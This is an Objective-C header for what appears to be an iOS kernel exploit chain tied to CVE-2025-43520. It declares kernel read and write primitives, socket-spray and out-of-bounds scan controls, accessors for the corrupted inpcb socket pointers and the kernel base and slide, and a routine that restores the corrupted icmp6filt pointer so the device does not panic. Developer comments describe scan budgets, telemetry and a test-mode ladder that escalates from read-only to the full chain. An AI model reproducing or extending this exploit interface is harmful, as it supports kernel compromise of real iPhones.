#import <stdio.h>
#import <stdint.h>
#import <stdbool.h>
#import <Foundation/Foundation.h>
#import <UIKit/UIKit.h>

#define SYSTEM_VERSION_EQUAL_TO(v)                  ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedSame)
#define SYSTEM_VERSION_GREATER_THAN(v)              ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedDescending)
#define SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(v)  ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] != NSOrderedAscending)
#define SYSTEM_VERSION_LESS_THAN(v)                 ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedAscending)
#define SYSTEM_VERSION_LESS_THAN_OR_EQUAL_TO(v)     ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] != NSOrderedDescending)

#define EARLY_KRW_LENGTH 0x20
int kexploit_opa334(void);
uint64_t early_kread64(uint64_t where);
void early_kwrite64(uint64_t where, uint64_t what);
void early_kwrite32bytes(uint64_t where, uint8_t writeBuf[EARLY_KRW_LENGTH]);
void release_spray(void);
// Scan/spray guards (2026-09-11): the app can stop a spinning run, and the
// engine stops its own socket spray once the kernel reports the file table is
// full. kexploit_request_stop() is safe to call from any thread.
void kexploit_request_stop(void);
int kexploit_stop_requested(void);
void kexploit_clear_stop(void);
long long kexploit_spray_total(void);
// Scan wall-clock budget in seconds (BUG.3): the walk needs ~8.5 minutes on the
// SE/A13, so a hard-coded 120 s made every run end "cancelled" three quarters of
// the way in. Runtime-settable, clamped to [KEXPLOIT_SCAN_BUDGET_MIN,
// KEXPLOIT_SCAN_BUDGET_MAX]; the engine's default is 600 s (enough for the
// measured walk), and the host app pushes the user's SET row value in at launch.
#define KEXPLOIT_SCAN_BUDGET_MIN 30
#define KEXPLOIT_SCAN_BUDGET_MAX 1800
void kexploit_set_scan_budget(int seconds);
int kexploit_scan_budget(void);
// HUD scan telemetry (atomics, safe to read any time; reset per attempt)
void kexploit_telemetry_reset(void);
uint64_t kexploit_scan_offset(void);      // current absolute scan position
unsigned long kexploit_scan_sockets(void); // spray sockets currently held
int kexploit_scan_landed(void);           // OOB reads landed this attempt
// BUG.5 (measured kernel writes, not a claim): what the write counter saw this
// attempt. Every write the chain issues goes out through early_kwrite32bytes and
// is counted there (the clamped block writer funnels into it too); a refused
// write increments the failure count and never the write count. A readonly run
// reports zeros BECAUSE nothing was counted, which is the difference between a
// measurement and the old "zero kernel writes" sentence. Reset per attempt by
// kexploit_opa334() / kexploit_telemetry_reset(); safe to read any time.
uint64_t kexploit_scan_writes(void);         // accepted 32-byte writes
uint64_t kexploit_scan_write_bytes(void);    // bytes those writes carried
uint64_t kexploit_scan_write_failures(void); // writes the kernel refused
// Main-device safety ladder (2026-09-01): 0=full chain, 1=read-only
// (scan + validate offsets, NO corruption), 2=write-test (corrupt + krw
// read probe + restore the original pointer), 3=full chain (same as 0).
extern int wolf_test_mode;

// 1.3.0 (KexProof): results of a successful run, for the app shell's adapter
// (ClearSword.m) and dump stage (KPDump.m).
extern uint64_t g_kernel_base;
extern uint64_t g_kernel_slide;
// The corrupted inpcb VAs (control = the socket whose icmp6filt we own,
// rw = the list neighbour the alias points into). Valid after kexploit_opa334()
// returns 0.
uint64_t darksword_control_socket_pcb(void);
uint64_t darksword_rw_socket_pcb(void);
uint64_t darksword_control_pcb(void);

// PEV1-CLEANUP (CVE-2025-43520 icmp6filt / soclose panic class). Restores the
// saved icmp6filt pointer (or NULLs it) so rip6_detach's kfree_type is safe.
// MUST run before any close/soclose of the KRW control socket — including
// process exit. so_usecount leaking does NOT prevent that free.
// Safe to call repeatedly; a no-op if pe_v1 never corrupted a socket.
// Registered via atexit() on promotion; also call from applicationWillTerminate
// and any explicit KRW teardown.
void kexploit_disarm_for_close(void);